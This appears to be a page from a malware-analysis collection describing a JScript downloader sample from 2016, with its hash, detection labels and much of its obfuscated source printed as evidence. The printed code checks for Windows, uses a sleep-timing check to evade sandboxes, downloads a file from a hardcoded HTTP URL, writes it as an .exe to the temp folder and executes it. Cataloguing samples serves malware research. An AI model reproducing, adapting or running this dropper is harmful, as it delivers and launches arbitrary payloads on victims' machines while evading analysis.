Hostile ^100% javascript-malware-collection Download

20160329_3d921cf4a9b2d60f81afd7b42d525f6a.js

Downloads and executes remote payload

JScript conditional sleep jitter evasionWScript bracket-member access in source text

SHA-256fc7b9684c64039f853d8001f9cc2f9a1b3518c36219b5ee4c1bd4f19eeab7cca

Evidence

UTC millisecond jitter sleep check lines 1–37

1var Mjhyuqwlsi = false;
2var Wbjorgfho = "CreateObject";
3var Anezgbcws = function Yqwopqtd() {return WScript[Wbjorgfho]("WScript.Shell");}();
4var Kdrfuds = 123213;
5var Isamxojjqa = "MSXML2.XMLHTTP";
6var Cwsxssdpmr = 2123213;
7var Upbrcupjf = 0;
8function Wbmahg(Kzfvro){Anezgbcws["Run"](Kzfvro, Upbrcupjf, Upbrcupjf);};
9function Vybywcdjl(){return Isamxojjqa;};
10function Yqvbby(Xmrpcieum, Jqhclb){return Xmrpcieum - Jqhclb;};
11function Mbeowqb(){return Wbjorgfho;};
12/*@cc_on
13  @if (@_win32 || @_win64)
14    Mjhyuqwlsi = true;
15  @end
⋯6 lines
22function Axpjqrpsxi()
23{
24var Xrjhaeuet = new this["Date"]();
25var Ymszhlgb = Xrjhaeuet["getUTCMilliseconds"]();
26WScript["Sleep"](Rnazyaj());
27var Xrjhaeuet = new this["Date"]();
⋯10 lines

English function-word token "for" lines 37–41

37:32… 
38}
39var Sihcdymx = false;
40var Kbeevl = false;
41for (var Bobsiycrcb = Upbrcupjf; Bobsiycrcb < Rnazyaj() * 1; Bobsiycrcb++){if (Axpjqrpsxi() != Upbrcu …

Contains a hardcoded insecure HTTP URL lines 49–75

49if (Sihcdymx && Knyfh() && Kbeevl){
50function Arjsybb() {return Anezgbcws["ExpandEnvironmentStrings"]("%TEMP%/") + "1H8uoMFIPGN9T.exe";};
51 Bsnofa = Vybywcdjl();
52 Bvmxw = WScript[Wbjorgfho](Bsnofa);
53 var Adkjkf = 1;
54 while (Adkjkf){
55try {
56Bvmxw[Bvkfryrz]("GET", "http://www.creative-drumschool.de/p3isakd", false);
57Bvmxw["send"]();
58Tpbjjmnfl = "Sleep";
59do {WScript[Tpbjjmnfl](Rnazyaj() * 11)} while (Bvmxw["readystate"] < 4 );
60Adkjkf = Upbrcupjf;
61} catch(Fnqrkojxr){Adkjkf = ("asdfa", "fadfasdf", "afdafa", 2);};
62}
63function Jfxeuhyb(Lxzut) {var Snbluh = (1, 2, 3, 4, 5, Lxzut); return Snbluh;};
64Dtppg = WScript[Mbeowqb()]("ADODB.Stream");
65Bsnofa = Dtppg;
66Bsnofa[Bvkfryrz]();
67Bsnofa["type"] = Jfxeuhyb(1);
68Bsnofa["write"](Bvmxw["ResponseBody"]);
69Dtppg["position"] = Jfxeuhyb(Upbrcupjf);
70Bsnofa["SaveToFile"](Arjsybb(), Jfxeuhyb(2) );
71Dtppg["close"]();
72Wbmahg(Arjsybb());
73}
74}
75